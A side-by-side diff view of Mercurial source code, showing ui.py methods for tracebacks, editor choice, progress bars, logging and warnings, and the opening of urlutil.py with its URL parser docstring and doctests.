1954 | |||
1955 | def traceback(self, exc=None, force=False): |
|
1955 | def traceback(self, exc=None, force=False): | |
1956 | """print exception traceback if traceback printing enabled or forced. |
|
1956 | """print exception traceback if traceback printing enabled or forced. | |
1957 | only to call in exception handler. returns true if traceback |
|
1957 | only to call in exception handler. returns true if traceback | |
1958 | printed.""" |
|
1958 | printed.""" | |
1959 | if self.tracebackflag or force: |
|
1959 | if self.tracebackflag or force: | |
1960 | if exc is None: |
|
1960 | if exc is None: | |
1961 | exc = sys.exc_info() |
|
1961 | exc = sys.exc_info() | |
1962 | cause = getattr(exc[1], 'cause', None) |
|
1962 | cause = getattr(exc[1], 'cause', None) | |
1963 |
|
1963 | |||
1964 | if cause is not None: |
|
1964 | if cause is not None: | |
1965 | causetb = traceback.format_tb(cause[2]) |
|
1965 | causetb = traceback.format_tb(cause[2]) | |
1966 | exctb = traceback.format_tb(exc[2]) |
|
1966 | exctb = traceback.format_tb(exc[2]) | |
1967 | exconly = traceback.format_exception_only(cause[0], cause[1]) |
|
1967 | exconly = traceback.format_exception_only(cause[0], cause[1]) | |
1968 |
|
1968 | |||
1969 | # exclude frame where 'exc' was chained and rethrown from exctb |
|
1969 | # exclude frame where 'exc' was chained and rethrown from exctb | |
1970 | self.write_err( |
|
1970 | self.write_err( | |
1971 | b'Traceback (most recent call last):\n', |
|
1971 | b'Traceback (most recent call last):\n', | |
1972 | encoding.strtolocal(''.join(exctb[:-1])), |
|
1972 | encoding.strtolocal(''.join(exctb[:-1])), | |
1973 | encoding.strtolocal(''.join(causetb)), |
|
1973 | encoding.strtolocal(''.join(causetb)), | |
1974 | encoding.strtolocal(''.join(exconly)), |
|
1974 | encoding.strtolocal(''.join(exconly)), | |
1975 | ) |
|
1975 | ) | |
1976 | else: |
|
1976 | else: | |
1977 | output = traceback.format_exception(exc[0], exc[1], exc[2]) |
|
1977 | output = traceback.format_exception(exc[0], exc[1], exc[2]) | |
1978 | self.write_err(encoding.strtolocal(''.join(output))) |
|
1978 | self.write_err(encoding.strtolocal(''.join(output))) | |
1979 | return self.tracebackflag or force |
|
1979 | return self.tracebackflag or force | |
1980 |
|
1980 | |||
1981 | def geteditor(self): |
|
1981 | def geteditor(self): | |
1982 | '''return editor to use''' |
|
1982 | '''return editor to use''' | |
1983 | if pycompat.sysplatform == b'plan9': |
|
1983 | if pycompat.sysplatform == b'plan9': | |
1984 | # vi is the MIPS instruction simulator on Plan 9. We |
|
1984 | # vi is the MIPS instruction simulator on Plan 9. We | |
1985 | # instead default to E to plumb commit messages to |
|
1985 | # instead default to E to plumb commit messages to | |
1986 | # avoid confusion. |
|
1986 | # avoid confusion. | |
1987 | editor = b'E' |
|
1987 | editor = b'E' | |
1988 | elif pycompat.isdarwin: |
|
1988 | elif pycompat.isdarwin: | |
1989 | # vi on darwin is POSIX compatible to a fault, and that includes |
|
1989 | # vi on darwin is POSIX compatible to a fault, and that includes | |
1990 | # exiting non-zero if you make any mistake when running an ex |
|
1990 | # exiting non-zero if you make any mistake when running an ex | |
1991 | # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1, |
|
1991 | # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1, | |
1992 | # while s/vi/vim/ doesn't. |
|
1992 | # while s/vi/vim/ doesn't. | |
1993 | editor = b'vim' |
|
1993 | editor = b'vim' | |
1994 | else: |
|
1994 | else: | |
1995 | editor = b'vi' |
|
1995 | editor = b'vi' | |
1996 | return encoding.environ.get(b"HGEDITOR") or self.config( |
|
1996 | return encoding.environ.get(b"HGEDITOR") or self.config( | |
1997 | b"ui", b"editor", editor |
|
1997 | b"ui", b"editor", editor | |
1998 | ) |
|
1998 | ) | |
1999 |
|
1999 | |||
2000 | @util.propertycache |
|
2000 | @util.propertycache | |
2001 | def _progbar(self): |
|
2001 | def _progbar(self): | |
2002 | """setup the progbar singleton to the ui object""" |
|
2002 | """setup the progbar singleton to the ui object""" | |
2003 | if ( |
|
2003 | if ( | |
2004 | self.quiet |
|
2004 | self.quiet | |
2005 | or self.debugflag |
|
2005 | or self.debugflag | |
2006 | or self.configbool(b'progress', b'disable') |
|
2006 | or self.configbool(b'progress', b'disable') | |
2007 | or not progress.shouldprint(self) |
|
2007 | or not progress.shouldprint(self) | |
2008 | ): |
|
2008 | ): | |
2009 | return None |
|
2009 | return None | |
2010 | return getprogbar(self) |
|
2010 | return getprogbar(self) | |
2011 |
|
2011 | |||
2012 | def _progclear(self): |
|
2012 | def _progclear(self): | |
2013 | """clear progress bar output if any. use it before any output""" |
|
2013 | """clear progress bar output if any. use it before any output""" | |
2014 | if not haveprogbar(): # nothing loaded yet |
|
2014 | if not haveprogbar(): # nothing loaded yet | |
2015 | return |
|
2015 | return | |
2016 | if self._progbar is not None and self._progbar.printed: |
|
2016 | if self._progbar is not None and self._progbar.printed: | |
2017 | self._progbar.clear() |
|
2017 | self._progbar.clear() | |
2018 |
|
2018 | |||
2019 | def makeprogress(self, topic, unit=b"", total=None): |
|
2019 | def makeprogress(self, topic, unit=b"", total=None): | |
2020 | """Create a progress helper for the specified topic""" |
|
2020 | """Create a progress helper for the specified topic""" | |
2021 | if getattr(self._fmsgerr, 'structured', False): |
|
2021 | if getattr(self._fmsgerr, 'structured', False): | |
2022 | # channel for machine-readable output with metadata, just send |
|
2022 | # channel for machine-readable output with metadata, just send | |
2023 | # raw information |
|
2023 | # raw information | |
2024 | # TODO: consider porting some useful information (e.g. estimated |
|
2024 | # TODO: consider porting some useful information (e.g. estimated | |
2025 | # time) from progbar. we might want to support update delay to |
|
2025 | # time) from progbar. we might want to support update delay to | |
2026 | # reduce the cost of transferring progress messages. |
|
2026 | # reduce the cost of transferring progress messages. | |
2027 | def updatebar(topic, pos, item, unit, total): |
|
2027 | def updatebar(topic, pos, item, unit, total): | |
2028 | self._fmsgerr.write( |
|
2028 | self._fmsgerr.write( | |
2029 | None, |
|
2029 | None, | |
2030 | type=b'progress', |
|
2030 | type=b'progress', | |
2031 | topic=topic, |
|
2031 | topic=topic, | |
2032 | pos=pos, |
|
2032 | pos=pos, | |
2033 | item=item, |
|
2033 | item=item, | |
2034 | unit=unit, |
|
2034 | unit=unit, | |
2035 | total=total, |
|
2035 | total=total, | |
2036 | ) |
|
2036 | ) | |
2037 |
|
2037 | |||
2038 | elif self._progbar is not None: |
|
2038 | elif self._progbar is not None: | |
2039 | updatebar = self._progbar.progress |
|
2039 | updatebar = self._progbar.progress | |
2040 | else: |
|
2040 | else: | |
2041 |
|
2041 | |||
2042 | def updatebar(topic, pos, item, unit, total): |
|
2042 | def updatebar(topic, pos, item, unit, total): | |
2043 | pass |
|
2043 | pass | |
2044 |
|
2044 | |||
2045 | return scmutil.progress(self, updatebar, topic, unit, total) |
|
2045 | return scmutil.progress(self, updatebar, topic, unit, total) | |
2046 |
|
2046 | |||
2047 | def getlogger(self, name): |
|
2047 | def getlogger(self, name): | |
2048 | """Returns a logger of the given name; or None if not registered""" |
|
2048 | """Returns a logger of the given name; or None if not registered""" | |
2049 | return self._loggers.get(name) |
|
2049 | return self._loggers.get(name) | |
2050 |
|
2050 | |||
2051 | def setlogger(self, name, logger): |
|
2051 | def setlogger(self, name, logger): | |
2052 | """Install logger which can be identified later by the given name |
|
2052 | """Install logger which can be identified later by the given name | |
2053 |
|
2053 | |||
2054 | More than one loggers can be registered. Use extension or module |
|
2054 | More than one loggers can be registered. Use extension or module | |
2055 | name to uniquely identify the logger instance. |
|
2055 | name to uniquely identify the logger instance. | |
2056 | """ |
|
2056 | """ | |
2057 | self._loggers[name] = logger |
|
2057 | self._loggers[name] = logger | |
2058 |
|
2058 | |||
2059 | def log(self, event, msgfmt, *msgargs, **opts): |
|
2059 | def log(self, event, msgfmt, *msgargs, **opts): | |
2060 | """hook for logging facility extensions |
|
2060 | """hook for logging facility extensions | |
2061 |
|
2061 | |||
2062 | event should be a readily-identifiable subsystem, which will |
|
2062 | event should be a readily-identifiable subsystem, which will | |
2063 | allow filtering. |
|
2063 | allow filtering. | |
2064 |
|
2064 | |||
2065 | msgfmt should be a newline-terminated format string to log, and |
|
2065 | msgfmt should be a newline-terminated format string to log, and | |
2066 | *msgargs are %-formatted into it. |
|
2066 | *msgargs are %-formatted into it. | |
2067 |
|
2067 | |||
2068 | **opts currently has no defined meanings. |
|
2068 | **opts currently has no defined meanings. | |
2069 | """ |
|
2069 | """ | |
2070 | if not self._loggers: |
|
2070 | if not self._loggers: | |
2071 | return |
|
2071 | return | |
2072 | activeloggers = [ |
|
2072 | activeloggers = [ | |
2073 | l for l in pycompat.itervalues(self._loggers) if l.tracked(event) |
|
2073 | l for l in pycompat.itervalues(self._loggers) if l.tracked(event) | |
2074 | ] |
|
2074 | ] | |
2075 | if not activeloggers: |
|
2075 | if not activeloggers: | |
2076 | return |
|
2076 | return | |
2077 | msg = msgfmt % msgargs |
|
2077 | msg = msgfmt % msgargs | |
2078 | opts = pycompat.byteskwargs(opts) |
|
2078 | opts = pycompat.byteskwargs(opts) | |
2079 | # guard against recursion from e.g. ui.debug() |
|
2079 | # guard against recursion from e.g. ui.debug() | |
2080 | registeredloggers = self._loggers |
|
2080 | registeredloggers = self._loggers | |
2081 | self._loggers = {} |
|
2081 | self._loggers = {} | |
2082 | try: |
|
2082 | try: | |
2083 | for logger in activeloggers: |
|
2083 | for logger in activeloggers: | |
2084 | logger.log(self, event, msg, opts) |
|
2084 | logger.log(self, event, msg, opts) | |
2085 | finally: |
|
2085 | finally: | |
2086 | self._loggers = registeredloggers |
|
2086 | self._loggers = registeredloggers | |
2087 |
|
2087 | |||
2088 | def label(self, msg, label): |
|
2088 | def label(self, msg, label): | |
2089 | """style msg based on supplied label |
|
2089 | """style msg based on supplied label | |
2090 |
|
2090 | |||
2091 | If some color mode is enabled, this will add the necessary control |
|
2091 | If some color mode is enabled, this will add the necessary control | |
2092 | characters to apply such color. In addition, 'debug' color mode adds |
|
2092 | characters to apply such color. In addition, 'debug' color mode adds | |
2093 | markup showing which label affects a piece of text. |
|
2093 | markup showing which label affects a piece of text. | |
2094 |
|
2094 | |||
2095 | ui.write(s, 'label') is equivalent to |
|
2095 | ui.write(s, 'label') is equivalent to | |
2096 | ui.write(ui.label(s, 'label')). |
|
2096 | ui.write(ui.label(s, 'label')). | |
2097 | """ |
|
2097 | """ | |
2098 | if self._colormode is not None: |
|
2098 | if self._colormode is not None: | |
2099 | return color.colorlabel(self, msg, label) |
|
2099 | return color.colorlabel(self, msg, label) | |
2100 | return msg |
|
2100 | return msg | |
2101 |
|
2101 | |||
2102 | def develwarn(self, msg, stacklevel=1, config=None): |
|
2102 | def develwarn(self, msg, stacklevel=1, config=None): | |
2103 | """issue a developer warning message |
|
2103 | """issue a developer warning message | |
2104 |
|
2104 | |||
2105 | Use 'stacklevel' to report the offender some layers further up in the |
|
2105 | Use 'stacklevel' to report the offender some layers further up in the | |
2106 | stack. |
|
2106 | stack. | |
2107 | """ |
|
2107 | """ | |
2108 | if not self.configbool(b'devel', b'all-warnings'): |
|
2108 | if not self.configbool(b'devel', b'all-warnings'): | |
2109 | if config is None or not self.configbool(b'devel', config): |
|
2109 | if config is None or not self.configbool(b'devel', config): | |
2110 | return |
|
2110 | return | |
2111 | msg = b'devel-warn: ' + msg |
|
2111 | msg = b'devel-warn: ' + msg | |
2112 | stacklevel += 1 # get in develwarn |
|
2112 | stacklevel += 1 # get in develwarn | |
2113 | if self.tracebackflag: |
|
2113 | if self.tracebackflag: | |
2114 | util.debugstacktrace(msg, stacklevel, self._ferr, self._fout) |
|
2114 | util.debugstacktrace(msg, stacklevel, self._ferr, self._fout) | |
2115 | self.log( |
|
2115 | self.log( | |
2116 | b'develwarn', |
|
2116 | b'develwarn', | |
2117 | b'%s at:\n%s' |
|
2117 | b'%s at:\n%s' | |
2118 | % (msg, b''.join(util.getstackframes(stacklevel))), |
|
2118 | % (msg, b''.join(util.getstackframes(stacklevel))), | |
2119 | ) |
|
2119 | ) | |
2120 | else: |
|
2120 | else: | |
2121 | curframe = inspect.currentframe() |
|
2121 | curframe = inspect.currentframe() | |
2122 | calframe = inspect.getouterframes(curframe, 2) |
|
2122 | calframe = inspect.getouterframes(curframe, 2) | |
2123 | fname, lineno, fmsg = calframe[stacklevel][1:4] |
|
2123 | fname, lineno, fmsg = calframe[stacklevel][1:4] | |
2124 | fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg) |
|
2124 | fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg) | |
2125 | self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg)) |
|
2125 | self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg)) | |
2126 | self.log( |
|
2126 | self.log( | |
2127 | b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg |
|
2127 | b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg | |
2128 | ) |
|
2128 | ) | |
2129 |
|
2129 | |||
2130 | # avoid cycles |
|
2130 | # avoid cycles | |
2131 | del curframe |
|
2131 | del curframe | |
2132 | del calframe |
|
2132 | del calframe | |
2133 |
|
2133 | |||
2134 | def deprecwarn(self, msg, version, stacklevel=2): |
|
2134 | def deprecwarn(self, msg, version, stacklevel=2): | |
2135 | """issue a deprecation warning |
|
2135 | """issue a deprecation warning | |
2136 |
|
2136 | |||
2137 | - msg: message explaining what is deprecated and how to upgrade, |
|
2137 | - msg: message explaining what is deprecated and how to upgrade, | |
2138 | - version: last version where the API will be supported, |
|
2138 | - version: last version where the API will be supported, | |
2139 | """ |
|
2139 | """ | |
2140 | if not ( |
|
2140 | if not ( | |
2141 | self.configbool(b'devel', b'all-warnings') |
|
2141 | self.configbool(b'devel', b'all-warnings') | |
2142 | or self.configbool(b'devel', b'deprec-warn') |
|
2142 | or self.configbool(b'devel', b'deprec-warn') | |
2143 | ): |
|
2143 | ): | |
2144 | return |
|
2144 | return | |
2145 | msg += ( |
|
2145 | msg += ( | |
2146 | b"\n(compatibility will be dropped after Mercurial-%s," |
|
2146 | b"\n(compatibility will be dropped after Mercurial-%s," | |
2147 | b" update your code.)" |
|
2147 | b" update your code.)" | |
2148 | ) % version |
|
2148 | ) % version | |
2149 | self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn') |
|
2149 | self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn') | |
2150 |
|
2150 | |||
2151 | def exportableenviron(self): |
|
2151 | def exportableenviron(self): | |
2152 | """The environment variables that are safe to export, e.g. through |
|
2152 | """The environment variables that are safe to export, e.g. through | |
2153 | hgweb. |
|
2153 | hgweb. | |
2154 | """ |
|
2154 | """ | |
2155 | return self._exportableenviron |
|
2155 | return self._exportableenviron | |
2156 |
|
2156 | |||
2157 | @contextlib.contextmanager |
|
2157 | @contextlib.contextmanager | |
2158 | def configoverride(self, overrides, source=b""): |
|
2158 | def configoverride(self, overrides, source=b""): | |
2159 | """Context manager for temporary config overrides |
|
2159 | """Context manager for temporary config overrides | |
2160 | `overrides` must be a dict of the following structure: |
|
2160 | `overrides` must be a dict of the following structure: | |
2161 | {(section, name) : value}""" |
|
2161 | {(section, name) : value}""" | |
2162 | backups = {} |
|
2162 | backups = {} | |
2163 | try: |
|
2163 | try: | |
2164 | for (section, name), value in overrides.items(): |
|
2164 | for (section, name), value in overrides.items(): | |
2165 | backups[(section, name)] = self.backupconfig(section, name) |
|
2165 | backups[(section, name)] = self.backupconfig(section, name) | |
2166 | self.setconfig(section, name, value, source) |
|
2166 | self.setconfig(section, name, value, source) | |
2167 | yield |
|
2167 | yield | |
2168 | finally: |
|
2168 | finally: | |
2169 | for __, backup in backups.items(): |
|
2169 | for __, backup in backups.items(): | |
2170 | self.restoreconfig(backup) |
|
2170 | self.restoreconfig(backup) | |
2171 | # just restoring ui.quiet config to the previous value is not enough |
|
2171 | # just restoring ui.quiet config to the previous value is not enough | |
2172 | # as it does not update ui.quiet class member |
|
2172 | # as it does not update ui.quiet class member | |
2173 | if (b'ui', b'quiet') in overrides: |
|
2173 | if (b'ui', b'quiet') in overrides: | |
2174 | self.fixconfig(section=b'ui') |
|
2174 | self.fixconfig(section=b'ui') | |
2175 |
|
2175 | |||
2176 | def estimatememory(self): |
|
2176 | def estimatememory(self): | |
2177 | """Provide an estimate for the available system memory in Bytes. |
|
2177 | """Provide an estimate for the available system memory in Bytes. | |
2178 |
|
2178 | |||
2179 | This can be overriden via ui.available-memory. It returns None, if |
|
2179 | This can be overriden via ui.available-memory. It returns None, if | |
2180 | no estimate can be computed. |
|
2180 | no estimate can be computed. | |
2181 | """ |
|
2181 | """ | |
2182 | value = self.config(b'ui', b'available-memory') |
|
2182 | value = self.config(b'ui', b'available-memory') | |
2183 | if value is not None: |
|
2183 | if value is not None: | |
2184 | try: |
|
2184 | try: | |
2185 | return util.sizetoint(value) |
|
2185 | return util.sizetoint(value) | |
2186 | except error.ParseError: |
|
2186 | except error.ParseError: | |
2187 | raise error.ConfigError( |
|
2187 | raise error.ConfigError( | |
2188 | _(b"ui.available-memory value is invalid ('%s')") % value |
|
2188 | _(b"ui.available-memory value is invalid ('%s')") % value | |
2189 | ) |
|
2189 | ) | |
2190 | return util._estimatememory() |
|
2190 | return util._estimatememory() | |
2191 |
|
2191 | |||
2192 |
|
2192 | |||
2193 | # we instantiate one globally shared progress bar to avoid |
|
2193 | # we instantiate one globally shared progress bar to avoid | |
2194 | # competing progress bars when multiple UI objects get created |
|
2194 | # competing progress bars when multiple UI objects get created | |
2195 | _progresssingleton = None |
|
2195 | _progresssingleton = None | |
2196 |
|
2196 | |||
2197 |
|
2197 | |||
2198 | def getprogbar(ui): |
|
2198 | def getprogbar(ui): | |
2199 | global _progresssingleton |
|
2199 | global _progresssingleton | |
2200 | if _progresssingleton is None: |
|
2200 | if _progresssingleton is None: | |
2201 | # passing 'ui' object to the singleton is fishy, |
|
2201 | # passing 'ui' object to the singleton is fishy, | |
2202 | # this is how the extension used to work but feel free to rework it. |
|
2202 | # this is how the extension used to work but feel free to rework it. | |
2203 | _progresssingleton = progress.progbar(ui) |
|
2203 | _progresssingleton = progress.progbar(ui) | |
2204 | return _progresssingleton |
|
2204 | return _progresssingleton | |
2205 |
|
2205 | |||
2206 |
|
2206 | |||
2207 | def haveprogbar(): |
|
2207 | def haveprogbar(): | |
2208 | return _progresssingleton is not None |
|
2208 | return _progresssingleton is not None | |
2209 |
|
2209 | |||
2210 |
|
2210 | |||
2211 | def _selectmsgdests(ui): |
|
2211 | def _selectmsgdests(ui): | |
2212 | name = ui.config(b'ui', b'message-output') |
|
2212 | name = ui.config(b'ui', b'message-output') | |
2213 | if name == b'channel': |
|
2213 | if name == b'channel': | |
2214 | if ui.fmsg: |
|
2214 | if ui.fmsg: | |
2215 | return ui.fmsg, ui.fmsg |
|
2215 | return ui.fmsg, ui.fmsg | |
2216 | else: |
|
2216 | else: | |
2217 | # fall back to ferr if channel isn't ready so that status/error |
|
2217 | # fall back to ferr if channel isn't ready so that status/error | |
2218 | # messages can be printed |
|
2218 | # messages can be printed | |
2219 | return ui.ferr, ui.ferr |
|
2219 | return ui.ferr, ui.ferr | |
2220 | if name == b'stdio': |
|
2220 | if name == b'stdio': | |
2221 | return ui.fout, ui.ferr |
|
2221 | return ui.fout, ui.ferr | |
2222 | if name == b'stderr': |
|
2222 | if name == b'stderr': | |
2223 | return ui.ferr, ui.ferr |
|
2223 | return ui.ferr, ui.ferr | |
2224 | raise error.Abort(b'invalid ui.message-output destination: %s' % name) |
|
2224 | raise error.Abort(b'invalid ui.message-output destination: %s' % name) | |
2225 |
|
2225 | |||
2226 |
|
2226 | |||
2227 | def _writemsgwith(write, dest, *args, **opts): |
|
2227 | def _writemsgwith(write, dest, *args, **opts): | |
2228 | """Write ui message with the given ui._write*() function |
|
2228 | """Write ui message with the given ui._write*() function | |
2229 |
|
2229 | |||
2230 | The specified message type is translated to 'ui.<type>' label if the dest |
|
2230 | The specified message type is translated to 'ui.<type>' label if the dest | |
2231 | isn't a structured channel, so that the message will be colorized. |
|
2231 | isn't a structured channel, so that the message will be colorized. | |
2232 | """ |
|
2232 | """ | |
2233 | # TODO: maybe change 'type' to a mandatory option |
|
2233 | # TODO: maybe change 'type' to a mandatory option | |
2234 | if 'type' in opts and not getattr(dest, 'structured', False): |
|
2234 | if 'type' in opts and not getattr(dest, 'structured', False): | |
2235 | opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type') |
|
2235 | opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type') | |
2236 | write(dest, *args, **opts) |
|
2236 | write(dest, *args, **opts) |
@@ -1,927 +1,927 b'' | |||||
1 | # utils.urlutil - code related to [paths] management |
|
1 | # utils.urlutil - code related to [paths] management | |
2 | # |
|
2 | # | |
3 | # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others |
|
3 | # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others | |
4 | # |
|
4 | # | |
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 | import os |
|
7 | import os | |
8 | import re as remod |
|
8 | import re as remod | |
9 | import socket |
|
9 | import socket | |
10 |
|
10 | |||
11 | from ..i18n import _ |
|
11 | from ..i18n import _ | |
12 | from ..pycompat import ( |
|
12 | from ..pycompat import ( | |
13 | getattr, |
|
13 | getattr, | |
14 | setattr, |
|
14 | setattr, | |
15 | ) |
|
15 | ) | |
16 | from .. import ( |
|
16 | from .. import ( | |
17 | encoding, |
|
17 | encoding, | |
18 | error, |
|
18 | error, | |
19 | pycompat, |
|
19 | pycompat, | |
20 | urllibcompat, |
|
20 | urllibcompat, | |
21 | ) |
|
21 | ) | |
22 |
|
22 | |||
23 | from . import ( |
|
23 | from . import ( | |
24 | stringutil, |
|
24 | stringutil, | |
25 | ) |
|
25 | ) | |
26 |
|
26 | |||
27 |
|
27 | |||
28 | if pycompat.TYPE_CHECKING: |
|
28 | if pycompat.TYPE_CHECKING: | |
29 | from typing import ( |
|
29 | from typing import ( | |
30 | Union, |
|
30 | Union, | |
31 | ) |
|
31 | ) | |
32 |
|
32 | |||
33 | urlreq = urllibcompat.urlreq |
|
33 | urlreq = urllibcompat.urlreq | |
34 |
|
34 | |||
35 |
|
35 | |||
36 | def getport(port): |
|
36 | def getport(port): | |
37 | # type: (Union[bytes, int]) -> int |
|
37 | # type: (Union[bytes, int]) -> int | |
38 | """Return the port for a given network service. |
|
38 | """Return the port for a given network service. | |
39 |
|
39 | |||
40 | If port is an integer, it's returned as is. If it's a string, it's |
|
40 | If port is an integer, it's returned as is. If it's a string, it's | |
41 | looked up using socket.getservbyname(). If there's no matching |
|
41 | looked up using socket.getservbyname(). If there's no matching | |
42 | service, error.Abort is raised. |
|
42 | service, error.Abort is raised. | |
43 | """ |
|
43 | """ | |
44 | try: |
|
44 | try: | |
45 | return int(port) |
|
45 | return int(port) | |
46 | except ValueError: |
|
46 | except ValueError: | |
47 | pass |
|
47 | pass | |
48 |
|
48 | |||
49 | try: |
|
49 | try: | |
50 | return socket.getservbyname(pycompat.sysstr(port)) |
|
50 | return socket.getservbyname(pycompat.sysstr(port)) | |
51 | except socket.error: |
|
51 | except socket.error: | |
52 | raise error.Abort( |
|
52 | raise error.Abort( | |
53 | _(b"no port number associated with service '%s'") % port |
|
53 | _(b"no port number associated with service '%s'") % port | |
54 | ) |
|
54 | ) | |
55 |
|
55 | |||
56 |
|
56 | |||
57 | class url(object): |
|
57 | class url(object): | |
58 | r"""Reliable URL parser. |
|
58 | r"""Reliable URL parser. | |
59 |
|
59 | |||
60 | This parses URLs and provides attributes for the following |
|
60 | This parses URLs and provides attributes for the following | |
61 | components: |
|
61 | components: | |
62 |
|
62 | |||
63 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
63 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
64 |
|
64 | |||
65 | Missing components are set to None. The only exception is |
|
65 | Missing components are set to None. The only exception is | |
66 | fragment, which is set to '' if present but empty. |
|
66 | fragment, which is set to '' if present but empty. | |
67 |
|
67 | |||
68 | If parsefragment is False, fragment is included in query. If |
|
68 | If parsefragment is False, fragment is included in query. If | |
69 | parsequery is False, query is included in path. If both are |
|
69 | parsequery is False, query is included in path. If both are | |
70 | False, both fragment and query are included in path. |
|
70 | False, both fragment and query are included in path. | |
71 |
|
71 | |||
72 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
72 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
73 |
|
73 | |||
74 | Note that for backward compatibility reasons, bundle URLs do not |
|
74 | Note that for backward compatibility reasons, bundle URLs do not | |
75 | take host names. That means 'bundle://../' has a path of '../'. |
|
75 | take host names. That means 'bundle://../' has a path of '../'. | |
76 |
|
76 | |||
77 | Examples: |
|
77 | Examples: | |
78 |
|
78 | |||
79 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
79 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
80 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
80 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
81 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
81 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
82 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
82 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
83 | >>> url(b'file:///home/joe/repo') |
|
83 | >>> url(b'file:///home/joe/repo') | |
84 | <url scheme: 'file', path: '/home/joe/repo'> |
|
84 | <url scheme: 'file', path: '/home/joe/repo'> | |
85 | >>> url(b'file:///c:/temp/foo/') |
|
85 | >>> url(b'file:///c:/temp/foo/') | |
86 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
86 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
87 | >>> url(b'bundle:foo') |
|
87 | >>> url(b'bundle:foo') | |
88 | <url scheme: 'bundle', path: 'foo'> |
|
88 | <url scheme: 'bundle', path: 'foo'> | |
89 | >>> url(b'bundle://../foo') |
|
89 | >>> url(b'bundle://../foo') | |
90 | <url scheme: 'bundle', path: '../foo'> |
|
90 | <url scheme: 'bundle', path: '../foo'> | |
91 | >>> url(br'c:\foo\bar') |
|
91 | >>> url(br'c:\foo\bar') | |
92 | <url path: 'c:\\foo\\bar'> |
|
92 | <url path: 'c:\\foo\\bar'> | |
93 | >>> url(br'\\blah\blah\blah') |
|
93 | >>> url(br'\\blah\blah\blah') | |
94 | <url path: '\\\\blah\\blah\\blah'> |
|
94 | <url path: '\\\\blah\\blah\\blah'> | |
95 | >>> url(br'\\blah\blah\blah#baz') |
|
95 | >>> url(br'\\blah\blah\blah#baz') | |
96 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
96 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
97 | >>> url(br'file:///C:\users\me') |
|
97 | >>> url(br'file:///C:\users\me') | |
98 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
98 | <url scheme: 'file', path: 'C:\\users\\me'> | |
99 |
|
99 | |||
100 | Authentication credentials: |
|
100 | Authentication credentials: | |
101 |
|
101 | |||
102 | >>> url(b'ssh://joe:xyz@x/repo') |
|
102 | >>> url(b'ssh://joe:xyz@x/repo') | |
103 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
103 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
104 | >>> url(b'ssh://joe@x/repo') |
|
104 | >>> url(b'ssh://joe@x/repo') | |
105 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
105 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
106 |
|
106 | |||
107 | Query strings and fragments: |
|
107 | Query strings and fragments: | |
108 |
|
108 | |||
109 | >>> url(b'http://host/a?b#c') |
|
109 | >>> url(b'http://host/a?b#c') | |
110 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
110 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
111 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
111 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
112 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
112 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
113 |
|
113 | |||
114 | Empty path: |
|
114 | Empty path: | |
115 |
|
115 | |||
116 | >>> url(b'') |
|
116 | >>> url(b'') | |
117 | <url path: ''> |
|
117 | <url path: ''> | |
118 | >>> url(b'#a') |
|
118 | >>> url(b'#a') | |
119 | <url path: '', fragment: 'a'> |
|
119 | <url path: '', fragment: 'a'> | |
120 | >>> url(b'http://host/') |
|
120 | >>> url(b'http://host/') | |
121 | <url scheme: 'http', host: 'host', path: ''> |
|
121 | <url scheme: 'http', host: 'host', path: ''> | |
122 | >>> url(b'http://host/#a') |
|
122 | >>> url(b'http://host/#a') | |
123 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
123 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
124 |
|
124 | |||
125 | Only scheme: |
|
125 | Only scheme: | |
126 |
|
126 | |||
127 | >>> url(b'http:') |
|
127 | >>> url(b'http:') | |
128 | <url scheme: 'http'> |
|
128 | <url scheme: 'http'> | |
129 | """ |
|
129 | """ | |
130 |
|
130 | |||
